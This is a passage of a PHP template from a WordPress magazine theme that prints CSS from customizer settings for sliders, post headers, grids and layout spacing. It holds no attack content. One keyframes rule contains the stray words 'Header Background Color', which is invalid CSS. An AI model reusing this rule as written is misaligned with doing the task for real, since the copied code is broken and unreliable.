            background: -webkit-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -o-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -ms-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: linear-gradient(to right, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>', endColorstr='<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>',GradientType=1 );
            }
            .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before {
            background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>;
            }
            @media only screen and (max-width: 960px){
            .featured-style-4 .penci-featured-content .featured-slider-overlay, .featured-style-5 .penci-featured-content .featured-slider-overlay, .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before { background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>; }
            }
            .penci-slider38-overlay, .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>; }
		<?php endif; ?>
        .penci-slide-overlay .overlay-link, .penci-slider38-overlay, .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before, .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_opacity' ); ?>; }
        .penci-item-mag:hover .penci-slide-overlay .overlay-link, .featured-style-38 .item:hover .penci-slider38-overlay, .penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_hover_opacity' ); ?>; }
        .penci-featured-content .featured-slider-overlay { opacity: <?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>; }
        .slider-40-wrapper .list-slider-creative .item-slider-creative:hover .img-container:before {
        opacity:<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_hover_opacity' ); ?>;
        }
		<?php if ( get_theme_mod( 'penci_featured_slider_box_opacity' ) ): ?>
            @-webkit-keyframes pencifadeInUpDiv{Header Background Color
            0%{ opacity:0; -webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0);}
            100%{opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;-webkit-transform:none;transform:none}
            }
            @keyframes pencifadeInUpDiv{
            0%{opacity:0;-webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0);}
            100%{opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;-webkit-transform:none;transform:none}
            }
            @media only screen and (max-width: 960px){
            .penci-featured-content-right .feat-text-right:before{ opacity: <?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>; }
            }
            .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before {
            opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_box_bg_color' ) ): ?>
            .penci-featured-content .featured-slider-overlay, .penci-featured-content-right:before, .penci-featured-content-right .feat-text-right:before { background: <?php echo get_theme_mod( 'penci_featured_slider_box_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_cat_color' ) ): ?>
            .penci-43-slider-item div .featured-cat a, .penci-featured-content .feat-text .featured-cat a, .penci-mag-featured-content .cat > a.penci-cat-name, .featured-style-35 .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_featured_slider_cat_color' ); ?>; }
            .penci-mag-featured-content .cat > a.penci-cat-name:after, .penci-featured-content .cat > a.penci-cat-name:after, .featured-style-35 .cat > a.penci-cat-name:after{ border-color: <?php echo get_theme_mod( 'penci_featured_slider_cat_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_cat_hover_color' ) ): ?>
            .penci-43-slider-item div .featured-cat a:hover, .penci-featured-content .feat-text .featured-cat a:hover, .penci-mag-featured-content .cat > a.penci-cat-name:hover, .featured-style-35 .cat > a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_cat_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_title_color' ) ): ?>
            .penci-mag-featured-content h3 a, .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .penci-43-slider-item .title-part a { color: <?php echo get_theme_mod( 'penci_featured_slider_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_title_hover_color' ) ): ?>
            .penci-mag-featured-content h3 a:hover, .penci-featured-content .feat-text h3 a:hover, .featured-style-35 .feat-text-right h3 a:hover, .penci-43-slider-item .title-part a:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_meta_color' ) ): ?>
            .penci-fslider-fmeta span, .penci-fslider-fmeta span a, .penci-mag-featured-content .feat-meta span, .penci-mag-featured-content .feat-meta a, .penci-featured-content .feat-text .feat-meta span, .penci-featured-content .feat-text .feat-meta span a, .featured-style-35 .featured-content-excerpt .feat-meta span, .featured-style-35 .featured-content-excerpt .feat-meta span a { color: <?php echo get_theme_mod( 'penci_featured_slider_meta_color' ); ?>; }
            .penci-fslider-fmeta a:after, .penci-mag-featured-content .feat-meta > span:after, .penci-featured-content .feat-text .feat-meta > span:after { border-color: <?php echo get_theme_mod( 'penci_featured_slider_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_excerpt_color' ) ): ?>
            .penci-43-slider-item .featured-slider-excerpt p, .featured-style-35 .featured-content-excerpt p, .featured-slider-excerpt p{ color: <?php echo get_theme_mod( 'penci_featured_slider_excerpt_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_icon_color' ) ): ?>
            .featured-area .overlay-icon-format { color: <?php echo get_theme_mod( 'penci_featured_slider_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_featured_slider_icon_color' ); ?>; }
		<?php endif; ?>
        .featured-style-29 .featured-slider-overlay { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_opacity29' ); ?>; }
		<?php if ( get_theme_mod( 'penci_featured_slider_color_29' ) ): ?>
            .featured-style-29 .featured-slider-overlay { background-color: <?php echo get_theme_mod( 'penci_featured_slider_color_29' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_lines_color' ) ): ?>
            .featured-style-29 .penci-featured-content .feat-text h3:before { border-color: <?php echo get_theme_mod( 'penci_featured_slider_lines_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_color' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a, .featured-style-29 .penci-featured-slider-button a, .featured-style-35 .penci-featured-slider-button a, .featured-style-38 .penci-featured-slider-button a { border-color: <?php echo get_theme_mod( 'penci_featured_slider_button_color' ); ?>; color: <?php echo get_theme_mod( 'penci_featured_slider_button_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_hover_bg' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a:hover, .featured-style-29 .penci-featured-slider-button a:hover, .featured-style-35 .penci-featured-slider-button a:hover, .featured-style-38 .penci-featured-slider-button a:hover { border-color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_bg' ); ?>; background-color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_hover_color' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a:hover, .featured-style-29 .penci-featured-slider-button a:hover, .featured-style-35 .penci-featured-slider-button a:hover, .featured-style-38 .penci-featured-slider-button a:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_color' ); ?>; }
		<?php endif; ?>
		<?php
		$auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' );
		if ( is_numeric( $auto_speed ) ):
			$auto_speed_css = $auto_speed / 1000;
			?>
            .penci-owl-carousel{--pcfs-delay:<?php echo sanitize_text_field( $auto_speed_css - 0.1 ); ?>s;}
		<?php endif; ?>
		<?php
		$penci_slider_height  = get_theme_mod( 'penci_featured_penci_slider_height' );
		if ( ! empty( $penci_slider_height ) && is_numeric( $penci_slider_height ) ): ?>
            .featured-area .penci-slider { max-height: <?php echo absint( $penci_slider_height ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_meta_overlay' ) ): ?>
            .penci-wrapper-data .standard-post-image:not(.classic-post-image){ margin-bottom: 0; }
            .header-standard.standard-overlay-meta{ margin: -30px 30px 19px; background: #fff; padding-top: 25px; padding-left: 5px; padding-right: 5px; z-index: 10; position: relative; }
            .penci-wrapper-data .standard-post-image:not(.classic-post-image) .audio-iframe, .penci-wrapper-data .standard-post-image:not(.classic-post-image) .standard-content-special{ bottom: 50px; }
            @media only screen and (max-width: 479px){
            .header-standard.standard-overlay-meta{ margin-left: 10px; margin-right: 10px; }
            }
			<?php if ( get_theme_mod( 'penci_bg_color_dark' ) ): ?>
                .header-standard.standard-overlay-meta{ background-color: var(--pcbg-cl); }
			<?php endif; ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_stahea_align' ) ):
			$staheader_align = get_theme_mod( 'penci_stahea_align' );
			?>
            .header-standard:not(.single-header), .standard-post-image{ text-align: <?php echo $staheader_align; ?> }
			<?php if ( 'left' == $staheader_align ) { ?>
            .header-standard:after{ left: 0; margin-left: 0; }
            .header-standard.standard-overlay-meta{ padding-left: 20px; padding-right: 10px; }
            .header-standard.standard-overlay-meta:after{ left: 20px; }
		<?php } else if ( 'right' == $staheader_align ) { ?>
            .header-standard:after{ left: auto; right: 0; margin-left: 0; }
            .header-standard.standard-overlay-meta{ padding-right: 20px; padding-left: 10px; }
            .header-standard.standard-overlay-meta:after{ right: 20px; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_staex_align' ) ): ?>
            .post-entry.standard-post-entry{ text-align: <?php echo get_theme_mod( 'penci_staex_align' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_stacoti_align' ) ):
			$staconti_align = get_theme_mod( 'penci_stacoti_align' );
			?>
            .penci-more-link{ text-align: <?php echo get_theme_mod( 'penci_stacoti_align' ); ?> }
			<?php if ( 'left' == $staconti_align ) { ?>
            .penci-more-link a.more-link:before{ content: none; }
		<?php } else if ( 'right' == $staconti_align ) { ?>
            .penci-more-link a.more-link:after{ content: none; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_effect_button' ) ): ?>
            .penci-more-link a.more-link:hover:before { right: 100%; margin-right: 10px; width: 60px; }
            .penci-more-link a.more-link:hover:after{ left: 100%; margin-left: 10px; width: 60px; }
            .standard-post-entry a.more-link:hover, .standard-post-entry a.more-link:hover:before, .standard-post-entry a.more-link:hover:after { opacity: 0.8; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_off_uppercase_title' ) ): ?>
            .header-standard h2, .header-standard .post-title, .header-standard h2 a, .pc_titlebig_standard { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_on_uppercase_cat' ) ): ?>
            .header-standard .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_categories_action_color' ) ): ?>
            .penci-standard-cat .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_standard_categories_action_color' ); ?>; }
            .penci-standard-cat .cat:before, .penci-standard-cat .cat:after { background-color: <?php echo get_theme_mod( 'penci_standard_categories_action_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_color' ) ): ?>
			.pc_titlebig_standard a,
            .header-standard > h2 a { color: <?php echo get_theme_mod( 'penci_standard_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_color' ) ): ?>
            .header-standard > h2 a { color: <?php echo get_theme_mod( 'penci_standard_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_hover_color' ) ): ?>
			.pc_titlebig_standard a,
            .header-standard > h2 a:hover { color: <?php echo get_theme_mod( 'penci_standard_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_share_icon_color' ) ): ?>
            .standard-content .penci-post-box-meta .penci-post-share-box a { color: <?php echo get_theme_mod( 'penci_standard_share_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_share_icon_hover_color' ) ): ?>
            .standard-content .penci-post-box-meta .penci-post-share-box a:hover, .standard-content .penci-post-box-meta .penci-post-share-box a.liked { color: <?php echo get_theme_mod( 'penci_standard_share_icon_hover_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_standard_meta_post_color' ) ): ?>
            .header-standard .author-post span, .standard-content .penci-post-box-meta .penci-box-meta span, .standard-content .penci-post-box-meta .penci-box-meta a { color: <?php echo get_theme_mod( 'penci_standard_meta_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_author_post_color' ) ): ?>
            .header-standard .author-post span a{ color: <?php echo get_theme_mod( 'penci_standard_author_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_accent_color' ) ): ?>
            .header-standard .post-entry a:hover, .header-standard .author-post span a:hover, .standard-content a, .standard-content .post-entry a, .standard-post-entry a.more-link:hover, .penci-post-box-meta .penci-box-meta a:hover, .standard-content .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .standard-content-special .author-quote span, .standard-content-special .format-post-box .post-format-icon i, .standard-content-special .format-post-box .dt-special a:hover, .standard-content .penci-more-link a.more-link, .standard-content .penci-post-box-meta .penci-box-meta a:hover { color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
            .standard-content .penci-more-link.penci-more-link-button a.more-link{ background-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; color: #fff; }
            .standard-content-special .author-quote span:before, .standard-content-special .author-quote span:after, .standard-content .post-entry ul li:before, .post-entry blockquote .author span:after, .header-standard:after { background-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
            .penci-more-link a.more-link:before, .penci-more-link a.more-link:after { border-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_readmore_color' ) ): ?>
            .standard-content .penci-more-link a.more-link, .standard-content .penci-more-link.penci-more-link-button a.more-link{ color: <?php echo get_theme_mod( 'penci_standard_readmore_color' ); ?>; }
            .standard-content .penci-more-link a.more-link:before, .standard-content .penci-more-link a.more-link:after{ border-color: <?php echo get_theme_mod( 'penci_standard_readmore_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_readmore_bg' ) ): ?>
            .standard-content .penci-more-link.penci-more-link-button a.more-link{ background-color: <?php echo get_theme_mod( 'penci_standard_readmore_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_off_title_uppercase' ) ): ?>
			.penci_grid_title a, .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .grid-mixed .mixed-detail h2 a, .overlay-header-box .overlay-title a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_off_letter_spacing' ) ): ?>
            .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a { }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_uppercase_cat' ) ): ?>
            .penci-grid .cat a.penci-cat-name, .penci-masonry .cat a.penci-cat-name, .penci-featured-infor .cat a.penci-cat-name, .grid-mixed .cat a.penci-cat-name, .overlay-header-box .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_categories_accent_color' ) ): ?>
            .penci-featured-infor .cat a.penci-cat-name, .penci-grid .cat a.penci-cat-name, .penci-masonry .cat a.penci-cat-name, .penci-featured-infor .cat a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_masonry_categories_accent_color' ); ?>; }
            .penci-featured-infor .cat a.penci-cat-name:after, .penci-grid .cat a.penci-cat-name:after, .penci-masonry .cat a.penci-cat-name:after, .penci-featured-infor .cat a.penci-cat-name:after{ border-color: <?php echo get_theme_mod( 'penci_masonry_categories_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon' ) ): ?>
            .penci-post-box-meta .penci-post-share-box a { color: <?php echo get_theme_mod( 'penci_masonry_box_icon' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon_hover' ) ): ?>
            .penci-post-share-box a.liked, .penci-post-share-box a:hover { color: <?php echo get_theme_mod( 'penci_masonry_box_icon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_ficon' ) ): ?>
            .grid-featured .penci-featured-share-box a { color: <?php echo get_theme_mod( 'penci_masonry_box_ficon' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_ficon_hover' ) ): ?>
            .grid-featured .penci-featured-share-box a:hover { color: <?php echo get_theme_mod( 'penci_masonry_box_ficon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon_bg' ) ): ?>
            .penci-featured-share-box .penci-shareic, .penci-featured-share-box .penci-shareso { background-color: <?php echo get_theme_mod( 'penci_masonry_box_icon_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_title_post_color' ) ): ?>
            .penci-featured-infor .penci-entry-title a, .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .grid-mixed .mixed-detail h2 a { color: <?php echo get_theme_mod( 'penci_masonry_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_title_post_hover_color' ) ): ?>
            .penci-featured-infor .penci-entry-title a:hover, .penci-grid li .item h2 a:hover, .penci-masonry .item-masonry h2 a:hover, .grid-mixed .mixed-detail h2 a:hover { color: <?php echo get_theme_mod( 'penci_masonry_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_meta_color' ) ): ?>
            .grid-post-box-meta span, .overlay-post-box-meta, .overlay-post-box-meta .overlay-share span, .overlay-post-box-meta .overlay-share a{ color: <?php echo get_theme_mod( 'penci_masonry_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_author_color' ) ): ?>
            .grid-post-box-meta span a, .grid-mixed .penci-post-box-meta .penci-box-meta a{ color: <?php echo get_theme_mod( 'penci_masonry_author_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_accent_color' ) ): ?>
            .overlay-post-box-meta .overlay-share a:hover, .overlay-author a:hover, .penci-grid .standard-content-special .format-post-box .dt-special a:hover, .grid-post-box-meta span a:hover, .grid-post-box-meta span a.comment-link:hover, .penci-grid .standard-content-special .author-quote span, .penci-grid .standard-content-special .format-post-box .post-format-icon i, .grid-mixed .penci-post-box-meta .penci-box-meta a:hover { color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-grid .standard-content-special .author-quote span:before, .penci-grid .standard-content-special .author-quote span:after, .grid-header-box:after, .list-post .header-list-style:after { background-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-grid .post-box-meta span:after, .penci-masonry .post-box-meta span:after { border-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-readmore-btn.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_readmore_color' ) ): ?>
            .penci-readmore-btn a, .penci-readmore-btn.penci-btn-make-button a{ color: <?php echo get_theme_mod( 'penci_masonry_readmore_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_readmore_bg' ) ): ?>
            .penci-readmore-btn.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_masonry_readmore_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_overlay_color' ) ): ?>
            .penci-grid li.typography-style .overlay-typography { background-color: <?php echo get_theme_mod( 'penci_photography_overlay_color' ); ?>; }
		<?php endif; ?>
        .penci-grid li.typography-style .overlay-typography { opacity: <?php echo get_theme_mod( 'penci_photography_overlay_opacity' ); ?>; }
        .penci-grid li.typography-style:hover .overlay-typography { opacity: <?php echo get_theme_mod( 'penci_photography_overlay_hover_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_photography_categories_color' ) ): ?>
            .penci-grid .typography-style .main-typography a.penci-cat-name, .penci-grid .typography-style .main-typography a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_photography_categories_color' ); ?>; }
            .typography-style .main-typography a.penci-cat-name:after { border-color: <?php echo get_theme_mod( 'penci_photography_categories_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_title_post_color' ) ): ?>
            .penci-grid li.typography-style .item .main-typography h2 a { color: <?php echo get_theme_mod( 'penci_photography_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_title_post_hover_color' ) ): ?>
            .penci-grid li.typography-style .item .main-typography h2 a:hover { color: <?php echo get_theme_mod( 'penci_photography_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_meta_color' ) ): ?>
            .penci-grid li.typography-style .grid-post-box-meta span, .penci-grid li.typography-style .grid-post-box-meta span a { color: <?php echo get_theme_mod( 'penci_photography_meta_color' ); ?>; }
            .penci-grid li.typography-style .grid-post-box-meta span:after { background-color: <?php echo get_theme_mod( 'penci_photography_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_accent_color' ) ): ?>
            .penci-grid li.typography-style .grid-post-box-meta span a:hover { color: <?php echo get_theme_mod( 'penci_photography_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_title_post_color' ) ): ?>
            .overlay-header-box .overlay-title a { color: <?php echo get_theme_mod( 'penci_overlay_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_title_post_hover_color' ) ): ?>
            .overlay-header-box .overlay-title a:hover { color: <?php echo get_theme_mod( 'penci_overlay_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_cat_post_color' ) ): ?>
            .overlay-header-box .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_overlay_cat_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_cat_hover_post_color' ) ): ?>
            .overlay-header-box .cat > a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_overlay_cat_hover_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_overlay_author_post_color' ) ): ?>
            .overlay-author span, .overlay-author a { color: <?php echo get_theme_mod( 'penci_overlay_author_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid3_bg_color' ) ): ?>
            .penci-grid[data-layout="grid-boxed-3"] li .item { background: <?php echo get_theme_mod( 'penci_grid3_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid4_bg_color' ) ): ?>
            .grid-boxed-4-item .grid-header-box { background: <?php echo get_theme_mod( 'penci_grid4_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_category_fsize' ) ): ?>
            .penci-featured-infor .cat > a.penci-cat-name, .penci-standard-cat .cat > a.penci-cat-name, .grid-header-box .cat > a.penci-cat-name, .header-list-style .cat > a.penci-cat-name, .overlay-header-box .cat > a.penci-cat-name, .inner-boxed-2 .cat > a.penci-cat-name, .main-typography .cat > a.penci-cat-name{ font-size: <?php echo get_theme_mod( 'penci_layout_category_fsize' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.header-standard h2 a, .overlay-header-box .overlay-title a, .penci-featured-infor .penci-entry-title, .grid-mixed .mixed-detail h2 a, .pc_titlebig_standard', 'penci_layout_titlebig_fsize' ); ?>
		<?php echo penci_renders_css( '.penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .penci_grid_title a', 'penci_layout_title_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_layout_meta_fsize' ) ): ?>
            .grid-post-box-meta, .overlay-header-box .overlay-author, .penci-post-box-meta .penci-box-meta, .header-standard .author-post{ font-size: <?php echo get_theme_mod( 'penci_layout_meta_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_excerpt_fsize' ) ): ?>
            .item-content p, .standard-content .standard-post-entry, .standard-content .standard-post-entry p{ font-size: <?php echo get_theme_mod( 'penci_layout_excerpt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_readmore_fsize' ) ): ?>
            .standard-content .penci-more-link a.more-link, .standard-content .penci-more-link.penci-more-link-button a.more-link, .penci-readmore-btn a, .penci-readmore-btn.penci-btn-make-button a{ font-size: <?php echo get_theme_mod( 'penci_layout_readmore_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_layout_sharebox_fsize' ) ): ?>
            .grid-featured .penci-post-share-box a, .penci-post-box-meta .penci-post-share-box a{ font-size: <?php echo get_theme_mod( 'penci_layout_sharebox_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_pitems' ) ): ?>
            .penci-grid > li, .grid-featured, .penci-grid li.typography-style, .grid-mixed, .penci-grid .list-post.list-boxed-post, .penci-masonry .item-masonry, article.standard-article, .penci-grid li.list-post, .grid-overlay, .penci-grid li.list-post.penci-slistp{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-grid li.list-post, .penci-grid li.list-post.penci-slistp{ padding-bottom: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp{ padding-bottom: 0px; margin-bottom: 0px; padding-top: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp{ margin-top: <?php echo get_theme_mod( 'penci_rgap_pitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_pbitems' ) ): ?>
            .grid-featured, .grid-mixed, article.standard-article, .grid-overlay{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_pbitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_listitems' ) ): ?>
            .penci-grid li.list-post{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_listitems' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_rgap_listitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rgap_psitems' ) ): ?>
            .penci-grid li.list-post.penci-slistp{ margin-bottom: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp{ padding-bottom: 0; margin-bottom: 0; padding-top: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp{ margin-top: <?php echo get_theme_mod( 'penci_rgap_psitems' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_img_listwidth' ) ):
			$list_img_width = get_theme_mod( 'penci_img_listwidth' );
			$list_right_width = 100 - $list_img_width;
			?>
            @media only screen and (min-width: 768px){
            .penci-grid li.list-post .item > .thumbnail, .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb{ width: <?php echo $list_img_width; ?>%; }
            .penci-grid li.list-post .item .content-list-right, .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{ width: <?php echo $list_right_width; ?>%; }
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_img_slistwidth' ) ): ?>
            @media only screen and (min-width: 768px){
            .penci-grid li.list-post.penci-slistp .item > .thumbnail{ width: <?php echo get_theme_mod( 'penci_img_slistwidth' ); ?>%; }
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_sidebar_width' ) ):
			$sidebarwidth = get_theme_mod( 'penci_sidebar_width' );
			$sidebarcontent   = 100 - $sidebarwidth;
			?>
